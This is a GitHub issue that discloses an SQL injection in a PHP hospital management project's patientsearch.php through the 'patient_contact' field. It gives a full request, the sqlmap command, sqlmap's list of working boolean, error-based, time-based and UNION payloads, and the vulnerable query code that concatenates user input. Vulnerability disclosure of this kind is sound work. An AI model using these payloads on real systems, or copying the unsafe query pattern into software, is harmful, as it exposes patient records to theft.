New issue

Jump to bottom

VULNERABLE: SQL Injection in Hospital-Management-System. SQL injection in Hospital-Management-System/patientsearch.php via the 'patient_contact' param #19

Open **namnhat239** opened this issue on Feb 10 · 0 comments

namnhat239 commented on Feb 10 • edited

I found an SQL Injection in your project
Pls Follow these steps to reproduce:

1. Create a request to 'patientsearch.php':

```
POST /Hospital/patientsearch.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pn08188rrfe713hv7u8uakivhl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

patient_contact=*&patient_search_submit=
```

```
HTTP/1.1 200
Date: Fri, 1
Server: Apac
X-Powered-By
Content-Leng
Connection:
Content-Type

<!DOCTYPE ht
<html>
  <head>
    <title>
      Patien
    </title>
    <link re
    https://
    sha384-/
    anonymou
  </head>
  <body>
    <script>
      alert

      window
      </scri
      sha384
```

2. Save this request to 1.txt file:

1.txt - Notepad

File Edit Format View Help

```
POST /Hospital/patientsearch.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pn08188rrfe713hv7u8uakivhl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

patient_contact=*&patient_search_submit=
```

3. Run SQLMap for the attack:

```
sqlmap -r 1.txt --dbs
```

```
[10:49:10] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 106 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: patient_contact=-8139' OR 2548=2548#&patient_search_submit=

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: patient_contact=' OR (SELECT 4335 FROM(SELECT COUNT(*),CONCAT(0x716a787871,(SELECT (ELT(4335=4335,1))),0x7162717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gnec&patient_search_submit=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: patient_contact=' AND (SELECT 4296 FROM (SELECT(SLEEP(5)))rmEe)-- Cvps&patient_search_submit=

    Type: UNION query
    Title: MySQL UNION query (NULL) - 8 columns
    Payload: patient_contact=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a787871,0x495a706e65684463595164637a6b7969766d776471496b6168425a4d6845636d6359794a476b5979,0x7162717a71),NULL#&patient_search_submit=
---
```

4. Area of concern in patientsearch.php

```
<?php
include("newfunc.php");
if(isset($_POST['patient_search_submit']))
{
  $contact=$_POST['patient_contact'];
  $query = "select * from patreg where contact= '$contact'";
  $result = mysqli_query($con,$query);
  $row=mysqli_fetch_array($result);
  if($row['lname']=="" & $row['email']=="" & $row['contact']=="" & $row['password']==""){
    echo "<script> alert('No entries found! Please enter valid details');
          window.location.href = 'admin-panel1.php#list-doc';</script>";
  }
  else {
    echo "<div class='container-fluid' style='margin-top:50px;'>
  <div class='card'>
  <div class='card-body' style='background-color:#342ac1;color:#ffffff;'>
<table class='table table-hover'>
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

---

1 participant